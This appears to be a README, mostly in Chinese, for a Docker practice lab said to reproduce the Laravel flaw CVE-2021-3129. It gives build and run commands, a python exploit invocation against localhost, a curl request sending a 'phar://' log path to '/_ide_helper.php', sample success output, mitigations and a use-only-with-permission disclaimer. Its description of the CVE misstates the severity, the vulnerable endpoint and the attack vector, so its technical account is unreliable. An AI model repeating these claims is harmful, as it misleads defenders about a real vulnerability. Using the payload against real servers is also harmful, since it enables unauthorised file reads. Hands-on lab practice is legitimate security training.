用于利用CVE-2021-3129的实践实验环境 - 这是一个关键的Laravel漏洞,允许未认证的文件读取和潜在的远程代码执行。
# Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# Build & Run
docker build -t cve-2021-3129-lab:latest .
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# Test
curl http://localhost:8080/_ide_helper.php
# Exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
| 属性 | 详情 |
|---|---|
| 严重性 | CVSS 7.5(高) |
| 受影响版本 | Laravel < 8.4.2, < 7.30.4 |
| 影响 | 任意文件读取、信息泄露、潜在RCE |
| 是否需要认证 | 否 |
| 攻击向量 | 网络 |
/_ide_helper.php端点phar://包装器读取文件# 1. Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# 2. Build container
docker build -t cve-2021-3129-lab:latest .
# 3. Run container
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# 4. Verify endpoint
curl http://localhost:8080/_ide_helper.php
# 5. Run exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
[✓✓✓] CVE-2021-3129 VULNERABILITY CONFIRMED!
VULNERABILITY DETAILS:
- Debug mode is ENABLED (APP_DEBUG=true)
- _ide_helper.php is ACCESSIBLE
- Arbitrary file read is POSSIBLE
- Sensitive information LEAKED
# Basic
python3 cve_2021_3129_exploit.py http://localhost:8080
# Custom timeout
python3 cve_2021_3129_exploit.py http://localhost:8080 --timeout 10
# Help
python3 cve_2021_3129_exploit.py -h
# Test endpoint
curl http://localhost:8080/_ide_helper.php
# Test with payload
curl 'http://localhost:8080/_ide_helper.php?subject=phar://storage/logs/laravel.log'
# 1. Set APP_DEBUG=false in .env
# 2. Remove _ide_helper.php
# 3. Update Laravel to patched version (8.4.2+, 7.30.4+)
# 4. Restart application
# Stop container
docker stop laravel-cve-2021-3129
# Remove container
docker rm laravel-cve-2021-3129
# Remove image
docker rmi cve-2021-3129-lab:latest
问:我可以在互联网上测试吗?
答:不可以。这仅用于本地主机。切勿在不属于你的系统上进行测试。
问:这个漏洞利用在已修补的版本上有效吗?
答:无效。Laravel 8.4.2+ 和 7.30.4+ 已经修补。
问:我可以修改利用脚本吗?
答:可以。代码已完全注释以便学习。
问:如何捕获网络流量?
答:使用 tcpdump 或 Wireshark:
sudo tcpdump -i lo -w capture.pcapng 'tcp port 8080'
# In another terminal, run the exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
# Open capture: wireshark capture.pcapng
⚠️ 仅用于教育目的
✅ 授权用途:
❌ 禁止用途:
仅在你拥有或已获得明确测试许可的系统上使用。
Naresh R (@theNareshofficial)
MIT许可证 - 详见LICENSE文件